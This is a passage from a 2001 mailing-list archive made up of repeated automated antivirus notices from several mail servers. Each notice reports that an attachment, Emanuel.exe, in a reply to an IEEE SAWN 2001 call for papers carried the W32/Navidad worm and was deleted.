itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA16327 for ; Wed, 3 Jan 2001 05:02:17 -0500 (EST) Received: by email.exchange.umkc.edu with Internet Mail Service (5.5.2653.19) id ; Wed, 3 Jan 2001 04:01:56 -0600 Message-ID: <70805CBA8CD4D211A8090060945155F30339F25F@email.exchange.umkc.edu> From: ANTIGEN_UMKC-MAIL01 To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antigen found the W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 04:01:49 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk You have recently received a virus infected message. Please read this whole message for details. In a message with the subject of: "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001" Sent from: Wu Jun At the email address of: jwu@ee.cuhk.edu.hk Antigen for Exchange found the file: Emanuel.exe Infected with the virus: W32/Navidad.e@M . The file is: Deleted. The message was sent to: ,pretty@mmlab.snu.ac.kr;tccc@ieee.org;qiao@computer.org;ietf@ietf.org;manet@itd. nrl.navy.mil The message was discovered in the folder: IMC Queues\Inbound located at University of Missouri/Kansas City/UMKC-MAIL01. If the person that sent you a message with the subject line of: Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001 was from UMKC, your copy of this message has probably been cleaned. You may want to have the sender resend the message after they have disinfected their machine just to be safe. If the person that sent you a message with the subject line of: Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001 was NOT from UMKC, you have an infected copy of the message and you should delete it without opening it. Then contact that person about getting you a new copy after they have cleaned their machine. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:14:51 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17217 for ; Wed, 3 Jan 2001 06:14:50 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA17693 for manet-outgoing; Wed, 3 Jan 2001 05:13:32 -0500 (EST) Received: from eamail1-out.unisys.com (eamail1-out.unisys.com [192.61.61.99]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA17672 for ; Wed, 3 Jan 2001 05:13:26 -0500 (EST) Received: from us-ea-gtwy-4.ea.unisys.com (us-ea-gtwy-4.ea.unisys.com [192.61.146.122]) by eamail1-out.unisys.com (8.9.3/8.9.3) with ESMTP id KAA17184; Wed, 3 Jan 2001 10:10:41 GMT Received: by us-ea-gtwy-4.ea.unisys.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 04:11:33 -0600 Message-ID: <67E8951A6DA6D2119C7E0000C0B43B000E7B886E@us-ea-gtwy-4.ea.unisys.com> From: Nemx Power Tools for MS Exchange Server_US-EA-GTWY-4_0 To: Kim Dongkyun Cc: tccc@ieee.org, Chunming Qiao , ietf@ietf.org, manet@itd.nrl.navy.mil Subject: Virus Notification: A virus has been detected in a message in whi ch you where a recipient Date: Wed, 3 Jan 2001 04:11:29 -0600 Importance: high X-Priority: 1 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk From: Wu Jun [SMTP:jwu@ee.cuhk.edu.hk] To: Date: Wed, Jan 03 2001, 3:10:22 AM Subject: Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001 The message contained 1 virus(es): emanuel.exe infected with the Navidad.16896.Worm virus - - - Virus Notification: A virus has been detected in a message in which you where a recipient! Check the original message. If the attachment could not be repaired it was Deleted from the message. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:15:12 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17228 for ; Wed, 3 Jan 2001 06:15:11 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA17726 for manet-outgoing; Wed, 3 Jan 2001 05:13:55 -0500 (EST) Received: from bbmail1-out.unisys.com (bbmail1-out.unisys.com [192.63.108.40]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA17719 for ; Wed, 3 Jan 2001 05:13:53 -0500 (EST) Received: from us-bb-gtwy-2.bb.unisys.com (us-bb-gtwy-2.bb.unisys.com [192.63.78.152]) by bbmail1-out.unisys.com (8.9.3/8.9.3) with ESMTP id KAA08620; Wed, 3 Jan 2001 10:06:30 GMT Received: by us-bb-gtwy-2.bb.unisys.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 05:11:51 -0500 Message-ID: From: Nemx Power Tools for MS Exchange Server_US-BB-GTWY-2_0 To: Kim Dongkyun Cc: tccc@ieee.org, Chunming Qiao , ietf@ietf.org, manet@itd.nrl.navy.mil Subject: Virus Notification: A virus has been detected in a message in whi ch you where a recipient Date: Wed, 3 Jan 2001 05:11:46 -0500 Importance: high X-Priority: 1 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk From: Wu Jun [SMTP:jwu@ee.cuhk.edu.hk] To: Date: Wed, Jan 03 2001, 4:10:22 AM Subject: Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001 The message contained 1 virus(es): emanuel.exe infected with the Navidad.16896.Worm virus - - - Virus Notification: A virus has been detected in a message in which you where a recipient! Check the original message. If the attachment could not be repaired it was Deleted from the message. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:16:03 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17255 for ; Wed, 3 Jan 2001 06:16:03 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA16312 for manet-outgoing; Wed, 3 Jan 2001 05:02:05 -0500 (EST) Received: from UMKC-MAIL01.umkc.edu (email.exchange.umkc.edu [134.193.71.1]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA16293 for ; Wed, 3 Jan 2001 05:02:03 -0500 (EST) Received: by email.exchange.umkc.edu with Internet Mail Service (5.5.2653.19) id ; Wed, 3 Jan 2001 04:02:05 -0600 Message-ID: <70805CBA8CD4D211A8090060945155F30339F265@email.exchange.umkc.edu> From: ANTIGEN_UMKC-MAIL01 To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antigen found the W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 04:01:59 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk You have recently received a virus infected message. Please read this whole message for details. In a message with the subject of: "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001" Sent from: Wu Jun At the email address of: jwu@ee.cuhk.edu.hk Antigen for Exchange found the file: Emanuel.exe Infected with the virus: W32/Navidad.e@M . The file is: Deleted. The message was sent to: ,pretty@mmlab.snu.ac.kr;tccc@ieee.org;qiao@computer.org;ietf@ietf.org;manet@itd. nrl.navy.mil The message was discovered in the folder: IMC Queues\Inbound located at University of Missouri/Kansas City/UMKC-MAIL01. If the person that sent you a message with the subject line of: Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001 was from UMKC, your copy of this message has probably been cleaned. You may want to have the sender resend the message after they have disinfected their machine just to be safe. If the person that sent you a message with the subject line of: Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001 was NOT from UMKC, you have an infected copy of the message and you should delete it without opening it. Then contact that person about getting you a new copy after they have cleaned their machine. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:16:06 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17266 for ; Wed, 3 Jan 2001 06:16:05 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id EAA15953 for manet-outgoing; Wed, 3 Jan 2001 04:59:05 -0500 (EST) Received: from fir.sycamorenet.com (fir.sycamorenet.com [63.65.20.2]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id EAA15948 for ; Wed, 3 Jan 2001 04:59:03 -0500 (EST) Received: by fir.sycamorenet.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 04:55:38 -0500 Message-ID: <2FF28915C669D211BFDF00A0C9E1CC7E01A442E7@fir.sycamorenet.com> From: ANTIGEN_FIR To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antigen found Navidad.16896.Worm virus Date: Wed, 3 Jan 2001 04:55:38 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antigen for Exchange found Emanuel.exe infected with Navidad.16896.Worm virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at Sycamore Networks/SYCAMORE/FIR. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:17:06 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17278 for ; Wed, 3 Jan 2001 06:17:05 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA17984 for manet-outgoing; Wed, 3 Jan 2001 05:16:29 -0500 (EST) Received: from eamail1-out.unisys.com (eamail1-out.unisys.com [192.61.61.99]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA17976 for ; Wed, 3 Jan 2001 05:16:27 -0500 (EST) Received: from us-ea-gtwy-4.ea.unisys.com (us-ea-gtwy-4.ea.unisys.com [192.61.146.122]) by eamail1-out.unisys.com (8.9.3/8.9.3) with ESMTP id KAA17890; Wed, 3 Jan 2001 10:15:09 GMT Received: by us-ea-gtwy-4.ea.unisys.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 04:15:59 -0600 Message-ID: <67E8951A6DA6D2119C7E0000C0B43B000E7B8872@us-ea-gtwy-4.ea.unisys.com> From: Nemx Power Tools for MS Exchange Server_US-EA-GTWY-4_0 To: Kim Dongkyun Cc: tccc@ieee.org, Chunming Qiao , ietf@ietf.org, manet@itd.nrl.navy.mil Subject: Virus Notification: A virus has been detected in a message in whi ch you where a recipient Date: Wed, 3 Jan 2001 04:15:54 -0600 Importance: high X-Priority: 1 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk From: Wu Jun [SMTP:jwu@ee.cuhk.edu.hk] To: Date: Wed, Jan 03 2001, 3:10:26 AM Subject: Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001 The message contained 1 virus(es): emanuel.exe infected with the Navidad.16896.Worm virus - - - Virus Notification: A virus has been detected in a message in which you where a recipient! Check the original message. If the attachment could not be repaired it was Deleted from the message. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:17:28 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17289 for ; Wed, 3 Jan 2001 06:17:28 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id EAA15270 for manet-outgoing; Wed, 3 Jan 2001 04:46:45 -0500 (EST) Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id EAA15265 for ; Wed, 3 Jan 2001 04:46:44 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id EAA18989; Wed, 3 Jan 2001 04:46:44 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id EAA19811; Wed, 3 Jan 2001 04:46:45 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 04:46:38 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FD19@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antivirus Utility found the W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 04:46:37 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antivirus Utility for Exchange found Emanuel.exe infected with the W32/Navidad.e@M virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:17:58 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17314 for ; Wed, 3 Jan 2001 06:17:58 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA17078 for manet-outgoing; Wed, 3 Jan 2001 05:09:54 -0500 (EST) Received: from mailgate.pit.comms.marconi.com (mailgate.pit.comms.marconi.com [169.144.68.6]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA17066 for ; Wed, 3 Jan 2001 05:09:52 -0500 (EST) Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12]) by mailgate.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id FAA19605; Wed, 3 Jan 2001 05:09:50 -0500 (EST) Received: from whq-msgrtr-01.pit.comms.marconi.com (whq-msgrtr-01.pit.comms.marconi.com [169.144.2.221]) by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id FAA26662; Wed, 3 Jan 2001 05:09:50 -0500 (EST) Received: by whq-msgrtr-01.pit.comms.marconi.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 05:09:42 -0500 Message-ID: <1FAC8547DACBD411A99600204840339533FD25@whq-msgrtr-01.pit.comms.marconi.com> From: Anti-Virus Utility To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antivirus Utility found the W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 05:09:42 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antivirus Utility for Exchange found Emanuel.exe infected with the W32/Navidad.e@M virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at EMAIL/NA1/WHQ-MSGRTR-01. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:18:01 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17326 for ; Wed, 3 Jan 2001 06:18:01 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA17112 for manet-outgoing; Wed, 3 Jan 2001 05:10:07 -0500 (EST) Received: from fir.sycamorenet.com (fir.sycamorenet.com [63.65.20.2]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA17098 for ; Wed, 3 Jan 2001 05:10:04 -0500 (EST) Received: by fir.sycamorenet.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 05:06:37 -0500 Message-ID: <2FF28915C669D211BFDF00A0C9E1CC7E01A442EA@fir.sycamorenet.com> From: ANTIGEN_FIR To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antigen found Navidad.16896.Worm virus Date: Wed, 3 Jan 2001 05:06:36 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antigen for Exchange found Emanuel.exe infected with Navidad.16896.Worm virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at Sycamore Networks/SYCAMORE/FIR. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:18:06 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17338 for ; Wed, 3 Jan 2001 06:18:05 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA16685 for manet-outgoing; Wed, 3 Jan 2001 05:06:58 -0500 (EST) Received: from external.zumanetworks.com (external.zumanetworks.com [64.161.185.13]) by itd.nrl.navy.mil (8.8.8/8.8.8) with SMTP id FAA16675 for ; Wed, 3 Jan 2001 05:06:56 -0500 (EST) Received: from msmail.win.zumanetworks.com by external.zumanetworks.com via smtpd (for s2.itd.nrl.navy.mil [132.250.83.3]) with SMTP; 3 Jan 2001 10:06:56 UT Received: from mail pickup service by msmail.win.zumanetworks.com with Microsoft SMTPSVC; Wed, 3 Jan 2001 02:06:55 -0800 From: Antigen@itd.nrl.navy.mil To: pretty@mmlab.snu.ac.kr, tccc@ieee.org, qiao@computer.org, ietf@ietf.org, manet@itd.nrl.navy.mil Subject: Antigen found W32/Navidad.e@M (McAfee4) virus Message-ID: X-OriginalArrivalTime: 03 Jan 2001 10:06:55.0895 (UTC) FILETIME=[E701DA70:01C0756C] Date: 3 Jan 2001 02:06:55 -0800 Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antigen for Exchange found Emanuel.exe infected with W32/Navidad.e@M (McAfee4) virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in SMTP Messages\Inbound located at Unknown/Unknown/MSMAIL. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:23:32 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17415 for ; Wed, 3 Jan 2001 06:23:31 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA16319 for manet-outgoing; Wed, 3 Jan 2001 05:02:08 -0500 (EST) Received: from UMKC-MAIL01.umkc.edu (email.exchange.umkc.edu [134.193.71.1]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA16314 for ; Wed, 3 Jan 2001 05:02:06 -0500 (EST) Received: by email.exchange.umkc.edu with Internet Mail Service (5.5.2653.19) id ; Wed, 3 Jan 2001 04:02:08 -0600 Message-ID: <70805CBA8CD4D211A8090060945155F30339F268@email.exchange.umkc.edu> From: ANTIGEN_UMKC-MAIL01 To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antigen found the W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 04:02:04 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk You have recently received a virus infected message. Please read this whole message for details. In a message with the subject of: "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001" Sent from: Wu Jun At the email address of: jwu@ee.cuhk.edu.hk Antigen for Exchange found the file: Emanuel.exe Infected with the virus: W32/Navidad.e@M . The file is: Deleted. The message was sent to: ,pretty@mmlab.snu.ac.kr;tccc@ieee.org;qiao@computer.org;ietf@ietf.org;manet@itd. nrl.navy.mil The message was discovered in the folder: IMC Queues\Inbound located at University of Missouri/Kansas City/UMKC-MAIL01. If the person that sent you a message with the subject line of: Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001 was from UMKC, your copy of this message has probably been cleaned. You may want to have the sender resend the message after they have disinfected their machine just to be safe. If the person that sent you a message with the subject line of: Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001 was NOT from UMKC, you have an infected copy of the message and you should delete it without opening it. Then contact that person about getting you a new copy after they have cleaned their machine. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:24:19 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17164 for ; Wed, 3 Jan 2001 06:12:47 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA16935 for manet-outgoing; Wed, 3 Jan 2001 05:09:13 -0500 (EST) Received: from viper2.alleghenypower.com (viper2.alleghenypower.com [198.77.48.2]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA16930 for ; Wed, 3 Jan 2001 05:09:12 -0500 (EST) Received: from viper2.alleghenypower.com (root@localhost) by viper2.alleghenypower.com with ESMTP id FAA26382 for ; Wed, 3 Jan 2001 05:09:12 -0500 (EST) Message-Id: <200101031009.FAA26352@viper2.alleghenypower.com> From: ANTIGEN_SMPXCH0C To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antigen found =emanuel.exe file Date: Wed, 3 Jan 2001 05:09:09 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antigen for Exchange found Emanuel.exe matching =emanuel.exe file filter. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at Allegheny Power/EXCHANGE1/SMPXCH0C. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:26:18 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17484 for ; Wed, 3 Jan 2001 06:26:18 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA16717 for manet-outgoing; Wed, 3 Jan 2001 05:07:17 -0500 (EST) Received: from UMKC-MAIL01.umkc.edu (email.exchange.umkc.edu [134.193.71.1]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA16712 for ; Wed, 3 Jan 2001 05:07:16 -0500 (EST) Received: by email.exchange.umkc.edu with Internet Mail Service (5.5.2653.19) id ; Wed, 3 Jan 2001 04:07:16 -0600 Message-ID: <70805CBA8CD4D211A8090060945155F30339F26B@email.exchange.umkc.edu> From: ANTIGEN_UMKC-MAIL01 To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antigen found the W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 04:07:12 -0600 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk You have recently received a virus infected message. Please read this whole message for details. In a message with the subject of: "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001" Sent from: Wu Jun At the email address of: jwu@ee.cuhk.edu.hk Antigen for Exchange found the file: Emanuel.exe Infected with the virus: W32/Navidad.e@M . The file is: Deleted. The message was sent to: ,pretty@mmlab.snu.ac.kr;tccc@ieee.org;qiao@computer.org;ietf@ietf.org;manet@itd. nrl.navy.mil The message was discovered in the folder: IMC Queues\Inbound located at University of Missouri/Kansas City/UMKC-MAIL01. If the person that sent you a message with the subject line of: Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001 was from UMKC, your copy of this message has probably been cleaned. You may want to have the sender resend the message after they have disinfected their machine just to be safe. If the person that sent you a message with the subject line of: Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001 was NOT from UMKC, you have an infected copy of the message and you should delete it without opening it. Then contact that person about getting you a new copy after they have cleaned their machine. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:27:14 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17501 for ; Wed, 3 Jan 2001 06:27:14 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA19598 for manet-outgoing; Wed, 3 Jan 2001 05:26:42 -0500 (EST) Received: from stpeter.astanetworks.com ([209.43.202.2]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA19591 for ; Wed, 3 Jan 2001 05:26:40 -0500 (EST) Received: from navajo.astanetworks.com (navajo.astanetworks.com [192.168.10.8]) by stpeter.astanetworks.com (Postfix) with ESMTP id 0EEFB7F83; Wed, 3 Jan 2001 03:23:11 -0600 (CST) Received: by navajo.astanetworks.com with Internet Mail Service (5.5.2650.21) id ; Wed, 3 Jan 2001 02:26:39 -0800 Message-ID: <15E6537E180CC545848148F30F6688D8171052@navajo.astanetworks.com> From: ANTIGEN_NAVAJO To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antigen found W32/Navidad.e@M virus Date: Wed, 3 Jan 2001 02:26:39 -0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antigen for Exchange found Emanuel.exe infected with W32/Navidad.e@M virus. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at ASTANETWORKS/SEATTLE/NAVAJO. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:27:50 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17513 for ; Wed, 3 Jan 2001 06:27:50 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA18805 for manet-outgoing; Wed, 3 Jan 2001 05:22:01 -0500 (EST) Received: from viper3.alleghenypower.com (viper3.alleghenypower.com [63.68.200.6]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA18798 for ; Wed, 3 Jan 2001 05:22:00 -0500 (EST) Received: from viper3.alleghenypower.com (root@localhost) by viper3.alleghenypower.com with ESMTP id FAA26962 for ; Wed, 3 Jan 2001 05:22:00 -0500 (EST) Message-Id: <200101031021.FAA26942@viper3.alleghenypower.com> From: ANTIGEN_SAPXCH0C To: "'pretty@mmlab.snu.ac.kr'" , "'tccc@ieee.org'" , "'qiao@computer.org'" , "'ietf@ietf.org'" , "'manet@itd.nrl.navy.mil'" Subject: Antigen found =emanuel.exe file Date: Wed, 3 Jan 2001 05:22:40 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain Sender: owner-manet@itd.nrl.navy.mil Precedence: bulk Antigen for Exchange found Emanuel.exe matching =emanuel.exe file filter. The file is currently Deleted. The message, "Re: Call For Paper : IEEE Symposium on Ad Hoc Wireless Networks (SAWN) 2001", was sent from Wu Jun and was discovered in IMC Queues\Inbound located at Allegheny Power/EXCHANGE1/SAPXCH0C. From owner-manet@itd.nrl.navy.mil Wed Jan 3 06:28:44 2001 Received: from itd.nrl.navy.mil (s2.itd.nrl.navy.mil [132.250.83.3]) by ietf.org (8.9.1a/8.9.1a) with SMTP id GAA17524 for ; Wed, 3 Jan 2001 06:28:44 -0500 (EST) Received: (from majordom@localhost) by itd.nrl.navy.mil (8.8.8/8.8.8) id FAA18793 for manet-outgoing; Wed, 3 Jan 2001 05:21:56 -0500 (EST) Received: from mailhost.somfy.com (mailhost.somfy.com [212.234.241.123]) by itd.nrl.navy.mil (8.8.8/8.8.8) with ESMTP id FAA18785 for ; Wed, 3 Jan 2001 05:21:54 -0500 (EST) Received: from mailmta.cluses.somfy.fr (mailmta.cluses.somfy.fr 